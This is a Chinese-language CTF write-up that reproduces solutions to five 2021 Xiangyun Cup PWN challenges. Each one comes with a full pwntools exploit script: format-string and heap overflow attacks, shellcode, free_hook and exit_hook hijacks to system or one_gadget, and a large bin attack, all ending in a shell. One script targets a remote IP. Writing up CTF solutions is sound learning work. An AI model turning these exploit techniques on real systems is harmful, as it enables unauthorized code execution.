2021祥云杯PWN

以下是我根据大佬的wp一点点复现的,比赛时,太菜了,都没做出来。下面两个链接是大佬的wp

https://zhuanlan.zhihu.com/p/402722060

https://mp.weixin.qq.com/s/_jPCp1U9c6EaGa4S2cx2mQ

note

image-20210903160536437

常规checksec一下,64位,保护全开

进入IDA看看,程序很简单,就不细说了。主要说下漏洞点

image-20210903160656584

在修改功能函数里面,存在scanf(buf),存在格式化字符串漏洞,然后这边的要去计算偏移,一定要去相应版本的Ubuntu下去动态调试,我刚开始是在20.04下调试,偏移不对。然后这边调试技巧:因为程序开pie了,所以我们可以先输入start指令,会断在开头,这时候可以获取当前的pie,才能断点在相应的位置

image-20210903161041335

可以计算出偏移是6,并且在底下就存在着残留的stdout指针,此时stdout指针的偏移是7,所以第一个buf就是%7$s那么可以修改stdout从而泄露libc地址

image-20210903162610572

吐出了一大堆数据,接收即可。

然后去劫持exit_hook中的_dl_rtld_lock_recursive为one_gadget,当调用exit函数时可得到shell

image-20210903171325616

而要找到这个偏移,要去_rtld_global中寻找

计算可得偏移为0x5F0F48

然后就是再次借用格式化字符串漏洞,前面说过了,格式化字符串处在第六个偏移,那么我们填满八个字节,然后把获得的rtld_lock地址跟在后面填入,就变为第七个偏移,之后就能在上面写入one_gadget,最后执行exit(0)getshell

image-20210903174509942

成功getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./note")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("1.14.71.254",28068)
def debug():
gdb.attach(p)

def add(size,content):
p.sendlineafter("choice: ","1")
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(content)

def edit(payload, args):
p.sendlineafter('choice:', '2')
p.sendlineafter('say ? ', payload)
p.sendlineafter('?', args)

def show():
p.sendlineafter("choice: ","3")

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(0x20,'a')
p.sendlineafter('choice:','2')
p.sendlineafter('say ? ','%7$s\x00')
p.sendlineafter('? ',p64(0xfbad1800) + p64(0) * 3)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c36e0
print("libc=>" + hex(libc_base))
ogg = libc_base + 0xf1247
rtld_lock = libc_base + 0x5F0F48
p.sendlineafter('choice:','2')
p.sendlineafter('say ? ','%7$s\x00'.ljust(8,'\x00') + p64(rtld_lock))
p.sendlineafter('? ',p64(ogg))
p.sendlineafter('choice:','0')
p.interactive()

lemon

image-20210907101349756

常规checksec一下,64位,保护全开

image-20210908150639102

进入IDA,发现漏洞在修改堆块内容的功能里,因为buf[4]的大小是我们设置的,最大可为0x400,所以能产生堆溢出(这是我看出的漏洞利用方法)。但是这边复现的是另一种利用方法,后面再提

image-20210907172951372

image-20210907173047903

这里有个伪随机数,但是我不知道怎么绕过,但是试了一下111111,可以绕过

image-20210908145856031

flag被保存在栈上,同时有个栈地址被保存在.bss上

image-20210908144332803

泄露出的地址,距离flag的地址偏移为0x40,然后这边为对齐,再加上了0x1000,弄成两字节地址

认真观察,所有的菜单功能里面都没有检查索引的下限,只是规定了不能大于3,所以可以通过堆结构的数组进行越界,寻找到之前保存在.bss上的栈地址,再借用修改功能对栈空间进行修改,通过部分覆盖将环境变量的一个指针改为flag的地址,之后破坏堆结构,报错即可泄露出flag

image-20210908151510913

image-20210908151525386

要越界到0x202060,也就是数组下标值为-260

image-20210908163406979

还记得前面绕过随机数,可以输入的名字吗?刚好,前四个字节伪造size,单独一个字节能伪造堆的flag,所以我们就能对.bss上的栈地址写入0x2000长度的数据

image-20210908164508706

image-20210908165054261

目的是为了修改栈上的一个环境指针,然后我发现,wp里面并没有覆盖到我这的环境指针,还差八个字节,修改为'a'*0x140,如上图,修改成功了

image-20210909230006730

由于是本地调试,我直接不爆破了,转为手动输入,所以修改成功

image-20210909230112342

这里是伪造一个堆头,后面是要让堆块申请到这里,但是大小却不是0x450,导致报错退出,打印flag

image-20210909230229164

image-20210909230215738

image-20210909230529823

这边多提的是因为在申请堆块功能里面,如果第二个堆块申请大于0x400,将会直接free前面的,但是指针却没有清零,所以借用这个,可以造成double free,最终导致chunk dup,所以就可以修改一个字节,从而申请到我们前面布置好的伪造堆块上,但是我本地是没有打印出flag的,具体原因不知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./lemon_pwn")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/libc-2.26.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/ld-2.26.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("",)
def debug():
gdb.attach(p,"b main")

def add(idx,name,size,content):
p.sendlineafter("your choice >>> ","1")
p.recvuntil("index of your lemon:")
p.sendline(str(idx))
p.recvuntil("name your lemon:")
p.send(name)
p.recvuntil("length of message for you lemon:")
p.sendline(str(size))
p.recvuntil("Leave your message:")
p.send(content)

def add2(idx,name,size):
p.sendlineafter("your choice >>> ","1")
p.recvuntil("index of your lemon:")
p.sendline(str(idx))
p.recvuntil("name your lemon:")
p.send(name)
p.recvuntil("length of message for you lemon:")
p.sendline(str(size))

def edit(idx,content):
p.sendlineafter("your choice >>> ","4")
p.recvuntil("index of your lemon :")
p.sendline(str(idx))
p.recvuntil("draw and color!")
p.send(content)

def show(idx):
p.sendlineafter("your choice >>> ","2")
p.recvuntil("index of your lemon :")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("your choice >>> ","3")
p.recvuntil("index of your lemon :")
p.sendline(str(idx))
def pwn():
p.sendafter("game with me?\n","yes")
p.sendafter("number: \n",'111111')
p.sendafter("first: \n",p64(0)*2 + p32(0x2000) + p8(1))
p.recvuntil("0x")
low = int(p.recv(3),16)
log.info("low==>0x%x" %low)
debug()
a = input("找到爆破字节")
flag_low = low - 0x40 + a
payload = 'a' * 0x140 + p8(flag_low & 0xff) + p8((flag_low >> 8) & 0xff) ##覆盖环境变量的位置
edit(-260,payload)

add(0,'desh',0x20,'a')
free(0)
add(0,'desh',0x10,'a')
add2(1,'desh',0x500)
free(0)
payload = p64(0x20) + p64(0x450) + p64(0x100000020) + p64(0x0)
add(0,'\x01\x01',0x20,payload)
free(0)
free(1)
add(0,'\xa0',0x20,'\xa0')
add2(1,'\xa0',0x20)
pwn()

'''
while True:
try:
p = process("./lemon_pwn")
pwn()
aaa = ("or corruption (!prev):")
print aaa
if "flag" in aaa:
pause()
except:
p.close()
continue
'''

JigSaw’sCage

image-20210921090309078

常规checksec,64位保护全开

image-20210921090356101

这里的choice是int类型,而输入却是可以输入8字节长度的数据,而v2就是choice相邻的高32位的数据,覆盖v2大于14会得到一块可以执行的堆内存

image-20210921090223446

如上图所示,堆块可执行了

image-20210921090636446

并且存在着功能,是可以执行堆块的,所以可以往堆块上写shellcode

image-20210921090735583

但是,堆块只能生成0x10的堆块,所以直接写入可以getshell的shellcode长度是肯定不够的,至少要二十多个字节长度才行,所以这时候一般可以先看看寄存器有没有什么可以直接利用的脏数据,减少shellcode书写的长度

image-20210921095449264

断点下在test函数要执行堆块内容的那步,查看在这时寄存器存了哪些脏数据

image-20210921095610649

image-20210921100019587

能发现,R10保存的是一个libc上的地址,所以可以借用这个值去计算free_hook以及system的值,然后再找个寄存器,进行两次执行操作,把system写入free_hook中,然后释放一块写有’/bin/sh’的堆块即可

image-20210921100059193

另外一种shellcode就是直接getshell,需要更多的观察

image-20210921101332945

可以发现,RDX里面的值是堆上的地址,那么我们就可以往堆上写入/bin/sh\x00,然后再计算偏移,传入RDI,再将RDX清零,把59传入al,最后系统调用即可,但是因为长度有限,所以我们一定要注意

image-20210921101858450

image-20210921101917761

同样getshelll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF("./JigSAW")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
def debug():
gdb.attach(p,"b main")

def add(idx):
p.sendlineafter("Choice :",'1')
p.recvuntil("Index? :")
p.sendline(str(idx))

def edit(idx,content):
p.sendlineafter("Choice :",'2')
p.recvuntil("Index? :")
p.sendline(str(idx))
p.recvuntil("iNput:")
p.send(content)

def show(idx):
p.sendlineafter("Choice :",'5')
p.recvuntil("Index? :")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("Choice :",'3')
p.recvuntil("Index? :")
p.sendline(str(idx))

def execve(idx):
p.sendlineafter("Choice :",'4')
p.recvuntil("Index? :")
p.sendline(str(idx))

p.sendlineafter("Name:\n",'a')
p.recvuntil("Make your Choice:\n")
p.sendline('1095216660480')

'''
code1 = asm("add r10, 0x50068; mov r12, r10;")
code2 = asm("sub r10, 0x1496b0; mov qword ptr [r12], r10")
add(0)
add(1)
add(2)
edit(0,code1)
edit(1,code2)
edit(2,'/bin/sh\x00')
debug()
execve(0)
execve(1)
free(2)
'''
payload = asm(
'''
add dl,0x20;
push rsi;
pop rdi;
xchg rdi,rdx;
push rsi;
pop rax;
mov al,59;ls
syscall;
'''
)
add(0)
edit(0,'A')
add(1)
edit(1,'/bin/sh\x00')
add(2)
edit(0,payload)
sleep(1)
debug()
execve(0)

p.interactive()

PassWordBox_FreeVersion

image-20220228191615313

保护全开,64位,glibc2.27版本

image-20220228191813211

刚开始会获得一个随机数,是在后面被用来加密堆块内容的

image-20220228191752308

image-20220228191955700

在add里面,存在offbynull漏洞,fgets会溢出一个0,借此制造出堆块重叠,加密函数只做了简单的异或处理,并且第一个堆块就帮我们打印出堆块的内容,而已知0与任何数进行异或,都是数本身,从而获得到异或的key值。而这个key值要用在我们输入地址、构造prev_addr时候都需要先异或处理,使得输入的内容不会被异或。

image-20220228192118841

在show功能里面, 都会先进行异或处理,然后在打印出堆块内容,所以我们后面泄露libc都需要再进行一次的异或还原。

image-20220228192745738

free功能中堆块地址是保留的,并未被清除。

其他的自行调试,没什么难度了,正常的getshell方式。

image-20220228191101438

虽然执行到了system(“/bin/sh”),却没能打通。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./pwdFree")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
#libc = ELF("./libc.so.6")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("",)
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(idx,size,content):
p.sendlineafter("Input Your Choice:\n",'1')
p.recvuntil("Input The ID You Want Save:")
p.sendline(str(idx))
p.recvuntil("Length Of Your Pwd:")
p.sendline(str(size))
p.recvuntil("Your Pwd:")
p.sendline(content)

def edit(idx,content):
p.sendlineafter("Input Your Choice:\n",'2')
p.sendline(str(idx))
p.send(content)

def show(idx):
p.sendlineafter("Input Your Choice:\n",'3')
p.recvuntil("Which PwdBox You Want Check:\n")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("Input Your Choice:",'4')
p.recvuntil("Idx you want 2 Delete:\n")
p.sendline(str(idx))

add(0, 0x10, 'a')
p.recvuntil('Save ID:')
p.recv(8)
key = u64(p.recv(8))
log.info("key==>0x%x" %key)

add(1, 0xf8, 'a')
add(2, 0x28, 'a')
add(3, 0x28, 'a')
add(4, 0xf8, 'a')
for i in range(5, 12):
add(i, 0xf8, 'a')
for i in range(5, 12):
free(i)
free(3)
add(3, 0x28, 'a'*0x20 + p64(0x160^key))
free(1)
free(4) #合并

add(1, 0xf8, 'a')
add(4, 0xf8, 'a') #按照索引顺序,以防乱了
for i in range(5, 11):
add(i, 0xf8, 'a')
show(2)
p.recvuntil("Pwd is: ")
base = u64(p.recv(8))^key
base -= 0x3ebca0
log.info("libc_base==>0x%x" %base)
free_hook = base + libc.sym['__free_hook']
sys = base + libc.sym['system']
add(11, 0x28, 'a')
free(11)
edit(2, p64(free_hook))
add(11, 0x28, 'a')
add(12, 0x28, p64(sys^key))
add(13, 0x28, p64(0x68732f6e69622f^key))

free(13)
p.interactive()

PassWordBox_ProVersion

image-20220228194718202

64位,glibc版本2.31,函数功能跟上题差不多,所以只分析不同的部分。

image-20220304091635089

申请的堆的大小只能为large chunk了,同时 offbynull 修复。

image-20220304091812982

edit功能不再限制次数。

image-20220304091900358

delete存在UAF漏洞。

image-20220304091916950

新增功能recover,看着功能像是为了帮助UAF更加的UAF

刚开始最先仍然是用相同的手法进行泄露出key值,后续的利用手法才有改变,要使用large bin attack了。

在利用前,引入一个有意思的机制,看看tcache_perthread_struct结构体的源码:

1
2
3
4
5
6
7
8
9
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS 64

static __thread tcache_perthread_struct *tcache = NULL;

tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk,counts 记录了 tcache_entry 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk;tcache_entry数组的大小为TCACHE_MAX_BINS,是 tcache 的最大数量,宏定义为64,如果结合large bin attack,我们可以将这个TCACHE_MAX_BINS数改成一个大数,那么几乎每个 chunk 块 free 之后都会进入 tcache。该结构具体位置按下图方式可以查找到。

image-20220304094405889

image-20220304104133443

利用 large bin attack 成功修改 tcache_max_bins 值。然后就是把 large chunk 放入到tcache中,借着UAF修改fd指针,申请堆块到free_hook 上即可

image-20220304110037381

成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./pwdPro")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
#libc = ELF("./libc.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(idx,size,content):
p.sendlineafter("Input Your Choice:\n",'1')
p.recvuntil("Which PwdBox You Want Add:\n")
p.sendline(str(idx))
p.recvuntil("Input The ID You Want Save:")
p.sendline(str(idx))
p.recvuntil("Length Of Your Pwd:")
p.sendline(str(size))
p.recvuntil("Your Pwd:")
p.sendline(content)

def edit(idx,content):
p.sendlineafter("Input Your Choice:\n",'2')
p.recvuntil("Which PwdBox You Want Edit:\n")
p.sendline(str(idx))
p.send(content)

def show(idx):
p.sendlineafter("Input Your Choice:\n",'3')
p.recvuntil("Which PwdBox You Want Check:\n")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("Input Your Choice:\n",'4')
p.recvuntil("Idx you want 2 Delete:\n")
p.sendline(str(idx))

def recov(idx):
p.sendlineafter("Input Your Choice:\n",'5')
p.recvuntil("Idx you want 2 Recover:\n")
p.sendline(str(idx))

add(0, 0x460, 'a')
p.recvuntil('Save ID:')
p.recv(8)
key = u64(p.recv(8))
log.info("key==>0x%x" %key)

add(1, 0x500, 'a')
add(2, 0x450 ,'a')
free(0)
recov(0)
show(0)
p.recvuntil("Pwd is: ")
base = (u64(p.recv(8))^key) - 0x1ebbe0
log.info("libc_base==>0x%x" %base)
free_hook = base + libc.sym['__free_hook']
sys = base + libc.sym['system']
tcache_max_bins = base + 0x1eb2d0

add(3, 0x500, 'a')
show(0)
p.recvuntil("Pwd is: ")
fd = u64(p.recv(8))^key
p.recv(8)
fd_nextsize = u64(p.recv(8))^key
free(2)
edit(0, p64(fd)*2 + p64(fd_nextsize) + p64(tcache_max_bins - 0x20))
add(4, 0x500, 'a')

free(1)
free(3)
recov(3)
edit(3, p64(free_hook))
add(5, 0x500, 'a')
add(6, 0x500, p64(sys^key))
edit(5, '/bin/sh\x00')
free(5)

p.interactive()

复现思路来源:https://blog.csdn.net/woodwhale/article/details/120635062

查看评论